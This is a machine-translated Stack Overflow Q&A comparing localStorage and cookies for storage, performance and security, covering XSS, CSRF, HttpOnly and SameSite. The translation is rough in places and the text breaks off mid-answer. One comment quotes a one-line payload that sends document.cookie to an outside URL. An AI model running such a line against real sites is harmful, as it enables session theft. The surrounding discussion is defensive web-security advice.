本地存储与Cookie


1026

我想通过将所有cookie移到本地存储中来减少其网站上的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题以外,使用本地存储替换cookie功能是否有任何利弊(特别是性能方面)?


107
可能的缺点:安全(SSL)页面上的localStorge值是隔离的。因此,如果您的站点同时具有http和https页面,则在访问https页面时将无法访问在http页面上设置的值。刚刚在Magento商店中尝试了ajax微型购物车的localStorage。史诗失败...

6
出人意料地得到了很好的支持(与我的预期相比)caniuse.com/#search=localstorage
Simon_Weaver

6
有些用户通常在其浏览器中禁用cookie。本地存储可能对那些用户更好。
evolross

9
可能的缺点:安全(SSL)页面上的[localStorage]值是孤立的 ”这实际上是很大的好处。
curiousguy18年

13
这就是为什么您应该只在网站上强制使用SSL ...如果您已经具有可用的SSL版本,那么我认为没有理由同时提供页面的两个版本。
xji

Answers:


1277

Cookies和本地存储有不同的用途。Cookies主要用于读取服务器端,本地存储只能由客户端读取。因此,问题是,在您的应用程序中,谁需要此数据-客户端还是服务器?

如果它是您的客户端(您的JavaScript),则一定要切换。通过在每个HTTP标头中发送所有数据来浪费带宽。

如果是您的服务器,则本地存储不是那么有用,因为您必须以某种方式(使用Ajax或隐藏的表单字段或其他方式)转发数据。如果服务器仅需要每个请求的全部数据的一小部分,则可以这样做。

无论哪种方式,您都希望将会话cookie保留为cookie。

根据技术差异以及我的理解:

  1. 除了作为一种古老的数据保存方式之外,Cookie还为您提供了4096个字节的限制(实际上是4095 字节),它是每个cookie的限制。本地存储是一样大的每个域5MB - SO问题也提到了它。

  2. localStorageStorage接口的实现。它存储没有到期日期的数据,并且通过JavaScript或清除浏览器缓存/本地存储的数据来清除-与cookie到期不同。


30
HTML5具有会话作用域存储,也可以替代会话cookie。
Pat Niemeyer 2012年

5
@PatNiemeyer,您可以将其假定sessionStorage为Cookie过期,直到关闭浏览器为止(而不是选项卡)。@darkporter,感谢您的回答。但是,想听听Cookies和本地存储之间的技术差异。等待您的编辑。
Om Shankar

28
@OmShankar我不确定您是否仍然有这个疑问,但这是不同的:localStorage 停留在客户端上,而cookies与HTTP标头一起发送。这是它们之间最大的(但不是唯一的)区别。
安德烈·卡里尔

16
如果您的客户端应用程序与REST API通讯,则使用cookie来存储和传输会话ID在REST中不是惯用的。因此,对我来说,cookie看起来像一种古老的技术,应该替换为本地存储(如果需要将某些数据(例如会话ID)传递给服务器,则可以使用JavaScript +)。
Tvaroh

8
本地存储不一定比cookie更安全,因为它容易受到XSS攻击。就个人而言,我会选择一个经过精心计划的过期方案的加密HTTPS cookie(也许使用JWT或JWE)。即,实施cookie级的过期“策略”和服务器端cookie的“续订”过程,以减少恶意第三方使用cookie的机会。我在下面引用了Stormpath的一篇文章来回答这个问题。
XtraSimplicity '16

231

在JWT的上下文中,Stormpath写了一篇相当有帮助的文章,概述了存储它们的可能方法以及与每种方法有关的(缺点)优点。

它还简要概述了XSS和CSRF攻击,以及如何应对它们。

我在下面附上了一些简短的摘录,以防他们的文章脱机/其站点出现故障。

本地存储

问题:

Web存储(localStorage / sessionStorage)可通过同一域上的JavaScript访问。这意味着您网站上运行的所有JavaScript都可以访问Web存储,因此,它很容易受到跨站点脚本(XSS)攻击的攻击。简而言之,XSS是攻击者可以注入将在您的页面上运行的JavaScript的一种漏洞。基本的XSS攻击会尝试通过表单输入注入JavaScript,攻击者会在其中输入警报(“您被黑”);转换为表单,以查看它是否由浏览器运行并且可以被其他用户查看。

预防:

为了防止XSS,常见的响应是对所有不受信任的数据进行转义和编码。但是,这还远没有完整。2015年,现代网络应用使用托管在CDN或外部基础架构上的JavaScript。现代网络应用程序包括用于A / B测试,渠道/市场分析和广告的第三方JavaScript库。我们使用Bower等软件包管理器将其他人的代码导入我们的应用程序。

如果只破坏了您使用的一个脚本怎么办?恶意JavaScript可以嵌入到页面中,并且Web存储受到损害。这些类型的XSS攻击可能会导致所有人在不知情的情况下访问您站点的Web存储。这可能就是为什么许多组织建议不要在网络存储中存储任何有价值的东西或信任任何信息的原因。这包括会话标识符和令牌。

作为一种存储机制,Web存储在传输期间不会强制执行任何安全标准。读取并使用Web存储的任何人都必须进行尽职调查,以确保他们始终通过HTTPS发送JWT,而不通过HTTP发送JWT。

饼干

问题:

与HttpOnly cookie标志一起使用时,cookie无法通过JavaScript访问,并且不受XSS的影响。您还可以设置安全cookie标志,以确保仅通过HTTPS发送cookie。这是过去曾利用Cookie存储令牌或会话数据的主要原因之一。现代开发人员对使用cookie犹豫不决,因为传统上他们要求将状态存储在服务器上,从而破坏了RESTful最佳实践。如果将JWT存储在cookie中,则cookie作为一种存储机制不需要在服务器上存储状态。这是因为JWT封装了服务器处理请求所需的所有内容。

但是,cookie容易受到其他类型的攻击:跨站点请求伪造(CSRF)。CSRF攻击是当恶意网站,电子邮件或博客导致用户的Web浏览器在当前已对其进行身份验证的受信任站点上执行有害操作时发生的一种攻击。这是对浏览器如何处理Cookie的一种利用。Cookie只能发送到允许它的域。默认情况下,这是最初设置cookie的域。无论您是在galaxies.com还是hahagonnahackyou.com上,都会发送Cookie来请求。

预防:

除了和之外,现代浏览器还支持SameSiteflagHttpOnlySecure。该标志的目的是防止cookie在跨站点请求中传输,从而防止多种CSRF攻击。

对于不支持的浏览器,SameSite可以使用同步令牌模式来防止CSRF。这听起来很复杂,但是所有现代Web框架都对此提供了支持。

例如,AngularJS提供了一种解决方案来验证cookie仅可被您的域访问。直接来自AngularJS文档:

执行XHR请求时,$ http服务从cookie(默认情况下为XSRF-TOKEN)读取令牌,并将其设置为HTTP标头(X-XSRF-TOKEN)。由于只有在您的域上运行的JavaScript才能读取Cookie,因此可以确保您的服务器XHR来自在您的域上运行的JavaScript。通过包含xsrfTokenJWT声明,可以使此CSRF保护变为无状态:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

利用Web应用程序框架的CSRF保护,cookie可以坚固地存储JWT。通过检查API中的HTTP Referer和Origin标头,也可以部分阻止CSRF。CSRF攻击将具有与您的应用程序无关的Referer和Origin头。

完整的文章可以在这里找到:https : //stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

关于令牌本身的结构,他们还提供了有关如何最佳设计和实现JWT的有用文章:https ://stormpath.com/blog/jwt-the-right-way/


6
优点。在这么好读的问题上,以前没有提到本地存储的安全隐患(或者XSS缺乏安全隐患)令人惊讶-除了一个答案错误地恕我直言,它表明它更安全!
巴里·波拉德

25
老实说,我发现整个安全讨论都有些分心。是的,localStorage页面上的其他脚本可以访问...但是也可以XMLHttpRequest...而且是的HttpOnly标志可以防止窃取cookie,但浏览器仍会自动将其发送到匹配的域,因此...基本上在您拥有恶意脚本时在您的网页上运行时,您已经被黑了。
Stijn de Witt

3
@StijndeWitt每个保护层都有自己的力量和弱点。因此,通常最好具有多个保护层。仅举一个例子:HttpOnly还可以防止非ajax攻击,例如window.location = 'http://google.com?q=' + escape(document.cookie);。该攻击绕过了浏览器的CORS检查。
Memet Olsen

假设您在诸如广告之类的事情上没有完全受信任的提供商...为什么您的广告甚至与您自己的受信任内容在同一域中投放?广告只需要在网页内显示即可,通常不需要在网页内运行JS。不需要太多的第三方内容集成。
curiousguy18年

为什么cookie中的csrf令牌(根据定义,该令牌必须是非HTTP的,以便可以通过JavaScript读取并通过标头发送)对安全性有何帮助?如果我的站点容易受到xss的攻击,则可以像本地/会话存储一样容易地读取cookie。
Juangamnik,

96

使用localStorage,Web应用程序可以在用户的​​浏览器中本地存储数据。在HTML5之前,应用程序数据必须存储在cookie中,并包含在每个服务器请求中。大量数据可以存储在本地,而不会影响网站性能。虽然localStorage比较现代,但这两种技术都有其优缺点。

饼干

优点

  • 旧版支持(一直存在)
  • 持续数据
  • 到期日期

缺点

  • 每个域都将其所有cookie存储在单个字符串中,这可能会使解析数据变得困难
  • 数据未加密,这成为一个问题,因为... ...尽管大小很小,但每个HTTP请求都会发送cookie限制大小(4KB)
  • 可以从cookie执行SQL注入

本地存储

优点

  • 大多数现代浏览器的支持
  • 永久性数据直接存储在浏览器中
  • 同源规则适用于本地存储数据
  • 并非与每个HTTP请求一起发送
  • 每个域约5MB的存储空间(即5120KB)

缺点

  • 以前不支持的任何版本:IE 8,Firefox 3.5,Safari 4,Chrome 4,Opera 10.5,iOS 2.0,Android 2.0
  • 如果服务器需要存储的客户端信息,则必须有目的地发送它。

localStorage用法与会话一几乎相同。他们有很多精确的方法,因此从会话切换到localStorage真正的儿童游戏。但是,如果存储的数据对于您的应用程序确实至关重要,则在localStorage不可用的情况下,您可能会使用cookie作为备份。如果要检查浏览器对的支持localStorage,则只需运行以下简单脚本即可:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

有人注意到,“安全(SSL)页面上的localStorage值是隔离的”,请记住,如果从“ http”转换为“ https”安全协议,则该cookie仍可访问,则localStorage将不可用。如果您使用安全协议,请务必注意这一点。


1
您正在执行的检查不是很可靠。有些浏览器和模式(专用)具有存储对象,但无法在其上手动设置值。检查实际支持的唯一方法是尝试将其移除。
JavaScript

要点

10
由于“ SQL注入可以执行”被列为Cookie的对立面,因此您是说无法从localStorage进行?
Martin Schneider

Cookies的另一个优点。Cookies可以标记为HTTPOnly。这意味着它们不能从JavaScript进行访问,这意味着没有恶意的XSS攻击可以检索cookie内容。因此,我不一定要说本地存储比cookie更安全。
wp-overwatch.com

@ Mr.Me尽管XSS攻击无法读取HTTPOnly cookie,但攻击者仍然可以执行用户只能根据浏览器会话执行的任何HTTP请求(根据定义)。假设会话cookie是一个不透明的标识符,就像几乎所有会话cookie一样,读取cookie值仅对执行包括它的HTTP请求有用:您不会仅凭cookie值学习任何东西。(请注意,会话cookie有时可以链接到特定的源IP地址,用户代理标头或其他浏览器特征; XSS攻击会执行来自浏览器的HTTP请求,因此这些匹配。)
curiousguy

7

好吧,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统。Mac上的Chrome或Safari可能比PC上的Firefox快得多,尤其是使用较新的API时。与往常一样,测试是您的朋友(我找不到任何基准)。

我真的没有看到Cookie与本地存储的巨大差异。另外,您应该更加担心兼容性问题:并不是所有的浏览器都已经开始支持新的HTML5 API,因此cookie是提高速度和兼容性的最佳选择。


2
这只是一个内部项目,因此跨浏览器兼容之类的东西并不是真正必要的。因为cookie是与每个HTTPRequest一起发送的(我的应用程序有大约77个请求),这意味着大约500kB的额外开销。我知道显而易见的解决方案是CDN,但是我想尝试一些与服务器无关的方法。我自己找不到任何基准,这就是为什么我希望这里的人可能知道。
Gio Borje

14
为什么Mac上的Chrome或Safari会更快?无论您是在Mac,Linux还是Windows上,运行的浏览器代码都几乎相同。
2014年

7

还值得一提的是 localStorage当用户在某些版本的移动Safari中以“私有”模式浏览时无法使用。

引用自MDN(https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage):

注意:从iOS 5.1开始,Safari Mobile会根据操作系统的要求(通常是在空间不足的情况下)将localStorage数据存储在缓存文件夹中,该文件夹有时会被清理。Safari Mobile的“私有浏览”模式还阻止了完全写入localStorage。


6

本地存储最多可存储5mb的脱机数据,而会话也最多可存储5mb的数据。但是Cookie只能以文本格式存储4kb数据。

LOCA1和Session以JSON格式存储数据,因此易于解析。但是Cookies数据是字符串格式。


6

饼干

  1. 在HTML5之前引入。
  2. 有到期日。
  3. 由JS清除或由浏览器的清除浏览数据清除或在到期日期之后清除。
  4. 将根据每个请求发送到服务器。
  5. 容量为4KB。
  6. 只有字符串可以存储在cookie中。
  7. Cookie有两种类型:持久性和会话。

本地存储:

  1. 与HTML5一起引入。
  2. 没有到期日期。
  3. 由JS或浏览器的清除浏览数据清除。
  4. 您可以选择何时必须将数据发送到服务器。
  5. 容量为5MB。
  6. 数据将无限期存储,并且必须是字符串。
  7. 只有一种类型。

6. localStorage只能存储字符串,在存储之前必须
将原

您只能将
st
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.